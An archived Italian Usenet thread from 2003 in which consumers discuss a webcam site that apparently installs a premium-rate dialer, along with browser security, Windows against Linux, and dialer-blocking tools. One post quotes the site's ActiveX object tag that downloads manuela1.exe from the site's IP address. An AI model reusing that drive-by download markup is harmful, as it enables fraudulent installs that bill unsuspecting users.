Discussione:
Dialer autoistallante
(troppo vecchio per rispondere)
Dio Pan
2003-07-12 18:49:10 UTC
Permalink
http://211.98.112.132:8080/lw/webcam/
Kennet
2003-07-12 19:00:26 UTC
Permalink
Il Sat, 12 Jul 2003 18:49:10 GMT, "Dio Pan"
Post by Dio Pan
http://211.98.112.132:8080/lw/webcam/
A me chiede invece conferma; dipende come hai impostato la protezione
del browser.

Qui c'è scritto tutto

http://www.internet-marketing.it/nodialers.htm#4






--
Kennet
Don't dream it, be it.
http://members.xoom.virgilio.it/kennetone/
Dio Pan
2003-07-12 19:19:52 UTC
Permalink
Post by Kennet
Post by Dio Pan
http://211.98.112.132:8080/lw/webcam/
A me chiede invece conferma; dipende come hai impostato la protezione
del browser.
Qui c'è scritto tutto
http://www.internet-marketing.it/nodialers.htm#4
Se clicchi sulle foto si.
Ma appena accedi al sito ti disconnette e attiva una connessione che vuol
lui senza dire nulla.
Meno male ho la disabilitazione del 709.
Kennet
2003-07-12 19:31:14 UTC
Permalink
Il Sat, 12 Jul 2003 19:19:52 GMT, "Dio Pan"
Post by Dio Pan
Se clicchi sulle foto si.
Ma appena accedi al sito ti disconnette e attiva una connessione che vuol
lui senza dire nulla.
Meno male ho la disabilitazione del 709.
Ti assicuro che non è così; anche se non clicco sulle foto mi chiede
la conferma. Imposta le tue protezioni del browser per chiedere
conferma in caso di download di plug-in activeX e vedrai che chiederà
conferma anche a te.

--
Kennet
Don't dream it, be it.
http://members.xoom.virgilio.it/kennetone/
Mamo (R)
2003-07-12 20:29:33 UTC
Permalink
On Sat, 12 Jul 2003 22:25:51 +0200, in it.discussioni.consumatori.tutela "Mamo
Nulla di tutto questo (a meno che tu abbia dei settaggi di sicurezza impostati
come quelli di un incauto...)
a scopo "culturale", le righe responsabili del download sono le seguenti

!<object id="A" CLASSID="CLSID:FFFF0003-0001-101A-A3C9-08002B2F49FB"
codebase="http://211.98.112.132:8080/lw/manuela/manuela1.exe">
!</object></p>




Saluti, Mamo
--
I tag '[OT]' sono un deleterio controsenso (v 1.30)
http://mamoFAQ.usenet.eu.org/DOC-tag_OT-1_30.txt
extrabug
2003-07-12 23:25:14 UTC
Permalink
Post by Dio Pan
Se clicchi sulle foto si.
Ma appena accedi al sito ti disconnette e attiva una connessione che vuol
lui senza dire nulla.
Meno male ho la disabilitazione del 709.
Quella luana/mauela è talmente brutta che il dialer voleva pagarmi.
Non ci sono più i siti con dialer di una volta.
Spurious
2003-07-14 09:00:23 UTC
Permalink
On Sun, 13 Jul 2003 01:25:14 +0200, extrabug
Post by extrabug
Quella luana/mauela è talmente brutta che il dialer voleva pagarmi.
Non ci sono più i siti con dialer di una volta.
ROTFLASTC. :D

Bye
Mamo (R)
2003-07-14 11:51:30 UTC
Permalink
On Mon, 14 Jul 2003 12:50:00 +0200, in it.discussioni.consumatori.tutela "Dio
Sono quelli necessari x comprare i biglietti del treno via internet...
Che è possibile settare al momento, e poi disabilitare.
un incauto...





Saluti, Mamo
--
I tag '[OT]' sono un deleterio controsenso (v 1.30)
http://mamoFAQ.usenet.eu.org/DOC-tag_OT-1_30.txt
Mamo (R)
2003-07-12 20:24:59 UTC
Permalink
On Sat, 12 Jul 2003 18:49:10 GMT, in it.discussioni.consumatori.tutela "Dio
Post by Dio Pan
http://211.98.112.132:8080/lw/webcam/
a me si apre una bella finestra che chiede se *voglio* scaricare
manuela1.exe...





Saluti, Mamo
--
I tag '[OT]' sono un deleterio controsenso (v 1.30)
http://mamoFAQ.usenet.eu.org/DOC-tag_OT-1_30.txt
Flavio Poloni
2003-07-13 09:14:40 UTC
Permalink
Post by Mamo (R)
a me si apre una bella finestra che chiede se *voglio* scaricare
manuela1.exe...
a me con Opera o con Mozilla non si apre proprio nulla.
extrabug
2003-07-13 09:42:52 UTC
Permalink
Post by Flavio Poloni
Post by Mamo (R)
a me si apre una bella finestra che chiede se *voglio* scaricare
manuela1.exe...
a me con Opera o con Mozilla non si apre proprio nulla.
Io uso il getright, ma una volta un sito ha cominciato ad aprire
finestre su finestre di richiesta di download,
aveva un refresh veloce.
Mamo (R)
2003-07-13 14:07:48 UTC
Permalink
On Sun, 13 Jul 2003 09:14:40 GMT, in it.discussioni.consumatori.tutela "Flavio
Post by Flavio Poloni
a me con Opera o con Mozilla non si apre proprio nulla.
Perchè sei un pavido, e non hai il coraggio di girare internet con IE...
:-)




Saluti, Mamo
--
I tag '[OT]' sono un deleterio controsenso (v 1.30)
http://mamoFAQ.usenet.eu.org/DOC-tag_OT-1_30.txt
Paolo Ferraresi
2003-07-13 19:22:08 UTC
Permalink
Post by Flavio Poloni
a me con Opera o con Mozilla non si apre proprio nulla.
Infatti, per non avere più virus, dialer e put...ate varie bisognerebbe
smettere d'usare i prodotti Microsoft e passare di brutto a Linux!
Anche solo l'utilizzo di un web browser diverso da quello di default (che
casualmente è M$) porta già vantaggi notevoli!
Flavio Poloni
2003-07-14 08:33:15 UTC
Permalink
Post by Flavio Poloni
a me con Opera o con Mozilla non si apre proprio nulla.
Nel senso che si installa zitto zitto o nel senso che senza IE la
trappola non funziona?
nel senso che non si apre alcuna finestra nè si scarica o si
(auto)installa alcunchè.
Camillo
2003-07-14 09:47:01 UTC
Permalink
On Mon, 14 Jul 2003 08:33:15 GMT, Flavio Poloni
Post by Flavio Poloni
Post by Flavio Poloni
a me con Opera o con Mozilla non si apre proprio nulla.
Nel senso che si installa zitto zitto o nel senso che senza IE la
trappola non funziona?
nel senso che non si apre alcuna finestra nè si scarica o si
(auto)installa alcunchè.
Chi era quello che diceva che IE ormai è affidabile e sicuro?... :-))
Bye
Camillo
--
Il che è bello ed istruttivo ..
extrabug
2003-07-15 05:26:58 UTC
Permalink
Post by Camillo
Chi era quello che diceva che IE ormai è affidabile e sicuro?... :-))
Bye
Camillo
Il mio IE, tra un crash e l'altro, è affidabile e sicuro :-)
Crononauta
2003-07-12 23:20:02 UTC
Permalink
Post by Dio Pan
http://211.98.112.132:8080/lw/webcam/
Il mio buon Mozilla mi apre la finestra di download e mi chiede: "che
cavolo devo fare con questo file? apro dalla posizione corrente oppure
scarico?".

Inutile dire che avviarlo dalla posizione corrente non porta a nulla
perché di un exe il mio linux non sa che farsene...
--
Massimo Bacilieri AKA Crononauta
ICQ:4005815
Scafone®Cipollazzi
2003-07-13 11:33:53 UTC
Permalink
Post by Dio Pan
http://211.98.112.132:8080/lw/webcam/
non c'è assolutamente nulla di auto-installante, se non la classica finestra
che ti dice il costo. mah, so che in giro c'è molto peggio, saranno le tue
protezioni che forse sono un pò "allegre"?
Dio Pan
2003-07-14 10:52:26 UTC
Permalink
Post by Scafone®Cipollazzi
non c'è assolutamente nulla di auto-installante, se non la classica finestra
che ti dice il costo. mah, so che in giro c'è molto peggio, saranno le tue
protezioni che forse sono un pò "allegre"?
Chi se ne frega delle protezioni!
Se vogliono che mi colleghi me lo devono chiedere indipendentemente dalle
protezioni.
extrabug
2003-07-15 05:38:34 UTC
Permalink
Post by Dio Pan
Chi se ne frega delle protezioni!
Se vogliono che mi colleghi me lo devono chiedere indipendentemente dalle
protezioni.
Il motivo di tutti questi guai è anche che fino a prima di xp,
alcune cose erano impossibili da controllare per il sistema operativo,
nella fat32 non esistono i permessi sui file come nel ntfs e in linux,
quindi per evitare del tutto connessioni indesiderate è necessario aggiungere
un software che monitorizzi le chiamate a precise funzioni del sistema operativo,
come immagino faccia stopdialer.

È dai tempi dei primi virus che avrebbero dovuto rivoluzionare le fondamenta
di un sistema molto funzionale come il dos, ma anche molto vulnerabile.
extrabug
2003-07-15 05:47:32 UTC
Permalink
Post by extrabug
Il motivo di tutti questi guai è anche che fino a prima di xp,
alcune cose erano impossibili da controllare per il sistema operativo,
nella fat32 non esistono i permessi sui file come nel ntfs e in linux,
Dimenticavo la cosa più importante,
il kernel di windows non consente di mettere divieti,
qualunque programma può quindi abusare delle sue funzioni.
extrabug
2003-07-17 05:06:48 UTC
Permalink
Stai dimostrando gli artfizi e i raggiri che integrano la fattispecie della
truffa?
Sto parlando di vulnerabilità implicite nei sistemi windows.
Non è nato per essere sicuro, forse perchè un tempo
non c'era niente da temere.
Dio Pan
2003-07-17 11:40:46 UTC
Permalink
Post by extrabug
Stai dimostrando gli artfizi e i raggiri che integrano la fattispecie della
truffa?
Sto parlando di vulnerabilità implicite nei sistemi windows.
Non è nato per essere sicuro, forse perchè un tempo
non c'era niente da temere.
Se lascio la porta aperta nn è sicuroma se entri in casa commetti un
reato...

Renzo
2003-07-14 11:06:59 UTC
Permalink
La protezione contro l'esecuzione automatica dgli Active-X e settata
automaticamente,
all'istallazione del Sistema Operativo o Browser (Microsoft chiaramente),
quindi siamo difronte ad un utente "esperto" che ha disabilitato la
protezione.
Emiliano.
Purtroppo l'utente medio del PC non sa assolutamente nulla di
protezione,
active-X o altro.
Benvengano quindi guide come quella indicate in qualche post di questo
thread.
esatto

per esempio un mio cliente, mi ha chiesto se non si poteva saltare tutte le
finestre di richiesta password per un accesso ad homebanking, io gli ho
detto che era per la sua sicurezza, lui mi ha risposto che era una seccatura
digitare tutte le volte i codici di accesso !!!

"L'utente medio" è pigro e ignorante in senso lato, ma la cosa più grave è
che non gli frega niente di imparare.
La scuola non insegna nulla sulla sicurezza ( ho conosciuto una laureanda in
materia d'informatica che non sapeva nulla di Virus e sicurezza.
Gli adolescenti/ventenni usano il pc per la scuola, ma sono talmente
superficiali che per un cazzo di suoneria/logo si fanno fregare alcune
decine/centinaia di euro, solo perché per loro leggere il disclaimer è tempo
perso, lasciare le protezioni da medio in su è una rottura, bisogna sempre
confermare, che palle
Risultato? abbassiamo le protezioni, così non ci sono finestre inutili,
tanto paga pantalone, quando poi arriva la bolletta, ... io ..., io non ho
fatto niente, si è installato da solo, ... poverino è stato ingannato,
facciamo causa ...

Certo che i dialer rompono, ma l'ignoranza in questo caso non paga, anzi
paga e paga caro.

La colpa non puoi darla a Microsoft, la loro colpa se volete è quella di
aver creato un SO alla portata di tutti, diversamente da linux e simili che
non hanno un target per neofiti, loro il dialer non lo prendono, per il
semplice motivo che sanno come gestire la sicurezza.

soluzione (provocatoria)
facciamo la patente a punti per internet max 20 punti
10 punti per aver preso un virus
10 punti per non avere installato un antivirus
5 punti per avere l'antivirus non aggiornato
5 punti per avere abbassato la sicurezza
2 punti per avere l'anteprima attiva su outlook
2 punti per aver scaricato un dialer e effettuato la connessione,
raddoppiata se minorenne
2 punti per lasciare al minorenne l'accesso ad internet senza alcun software
di sicurezza ( tipo NIS )
...

Oblazioni
2 punti -> modem sottoposto a tortura con martello da compensato, due colpi
5 punti -> modem sottoposto a tortura con mazzetta da 1/2KG, 1 colpo
10 punti -> modem e tastiera sottoposto a tortura con mazzetta da 1KG, 1
colpo cadauno
20 punti -> modem e tastiera sottoposto a tortura con mazzetta da 1KG, 3
colpo cadauno, taglio del rj11 dal filo del telefono.
per ogni 5 punti, strappo di un unghia da mano dx/sx a piacere con inizio
dal mignolo verso il pollice, ovvio che non comprende le penalità che
pantalone metterà in atto di sua iniziativa

Renzo
Crononauta
2003-07-14 11:27:02 UTC
Permalink
Post by Renzo
soluzione (provocatoria)
facciamo la patente a punti per internet max 20 punti
10 punti per aver preso un virus
10 punti per non avere installato un antivirus
5 punti per avere l'antivirus non aggiornato
5 punti per avere abbassato la sicurezza
2 punti per avere l'anteprima attiva su outlook
2 punti per aver scaricato un dialer e effettuato la connessione,
raddoppiata se minorenne
2 punti per lasciare al minorenne l'accesso ad internet senza alcun software
di sicurezza ( tipo NIS )
Fammi capire perché io dovrei vedermi decurtato 15 punti di colpo visto
che non ho antivirus e ovviamente non lo aggiorno, dato che uso un
sistema operativo serio e non ha bisogno di tali giocattoli?
:-b

Ah quanto al software di sicurezza... perché se uno ha dei dispositivi
hardware non vanno bene? :-b

Le provocazioni falle giuste almeno!

Io direi...

20 punti se usi Windows
il resto è mancia :-DDDDDDDD

LOL.
--
Massimo Bacilieri AKA Crononauta
ICQ:4005815
Renzo
2003-07-14 13:12:09 UTC
Permalink
Post by Crononauta
Post by Renzo
soluzione (provocatoria)
facciamo la patente a punti per internet max 20 punti
10 punti per aver preso un virus
10 punti per non avere installato un antivirus
5 punti per avere l'antivirus non aggiornato
5 punti per avere abbassato la sicurezza
2 punti per avere l'anteprima attiva su outlook
2 punti per aver scaricato un dialer e effettuato la connessione,
raddoppiata se minorenne
2 punti per lasciare al minorenne l'accesso ad internet senza alcun software
di sicurezza ( tipo NIS )
Fammi capire perché io dovrei vedermi decurtato 15 punti di colpo visto
che non ho antivirus e ovviamente non lo aggiorno, dato che uso un
sistema operativo serio e non ha bisogno di tali giocattoli?
:-b
Ah quanto al software di sicurezza... perché se uno ha dei dispositivi
hardware non vanno bene? :-b
Le provocazioni falle giuste almeno!
Io direi...
20 punti se usi Windows
il resto è mancia :-DDDDDDDD
se non usi windows, non prendi i dialer e i virus, il gioco non vale

anche se:

Search Results
We found 55 record(s) matching the following criteria:
Virus name containing "linux".
Backdoor.Linux.Gulzan (Kaspersky) DoS.Linux.Blitz (AVP)
Linux.Jac.8759 Linux.Lion.Worm (NAV)
Linux.Pavid (NAV) Linux.Peelf.2132 (NAV)
Linux.Ramen Linux.Ramen.Worm (NAV)
Linux.Scapler.Worm (NAV) Linux/Adore.worm
Linux/Alfa Linux/Amdcrash
Linux/Bliss Linux/Cheese.worm
Linux/DDoS-Kaiten Linux/Devnull
Linux/Ehcapa.worm Linux/Etap
Linux/Exploit-CrisCras Linux/Exploit-Da2
Linux/Exploit-Honeymoon Linux/Exploit-Lsub
Linux/Exploit-SendMail Linux/Exploit-Statdx
Linux/Exploit-Su Linux/Exploit-Woot
Linux/Fork Linux/Gulzan
Linux/Kaiten Linux/Kis
Linux/Kokain Linux/Lindose
Linux/Lion.worm Linux/Mighty
Linux/Osf Linux/Ramen.worm
Linux/Red Linux/Rootkit
Linux/RootKit-BTM Linux/Rpcmountd
Linux/Rst.a Linux/Rst.b
Linux/Seclpd Linux/Shinject
Linux/Slapper.worm.a Linux/Slapper.worm.b
Linux/Slapper.worm.c Linux/Slapper.worm.d
Linux/Slice Linux/Snoopy.b
Linux/Stumbler Linux/Typot
Trojan.Linux.JBellz (Symantec) Trojan.Linux.Typot (NAV)
Worm.Linux.Ramen


Renzo
D§D
2003-07-14 21:56:48 UTC
Permalink
Purtroppo l'utente medio del PC non sa assolutamente nulla di
protezione, active-X o altro.
Benvengano quindi guide come quella indicate in qualche post di questo
thread.
e allora l'utente medio farebbe bene a leggere bene bene quello che gli esce
nelle varie finestre, invece di cliccare a casaccio
Carburo
2003-07-14 07:40:08 UTC
Permalink
Post by Dio Pan
http://211.98.112.132:8080/lw/webcam/
http://www.akapulce.net/socket2000/stopdialer.asp

Ciao, Roberto.
Continua a leggere su narkive:
Loading...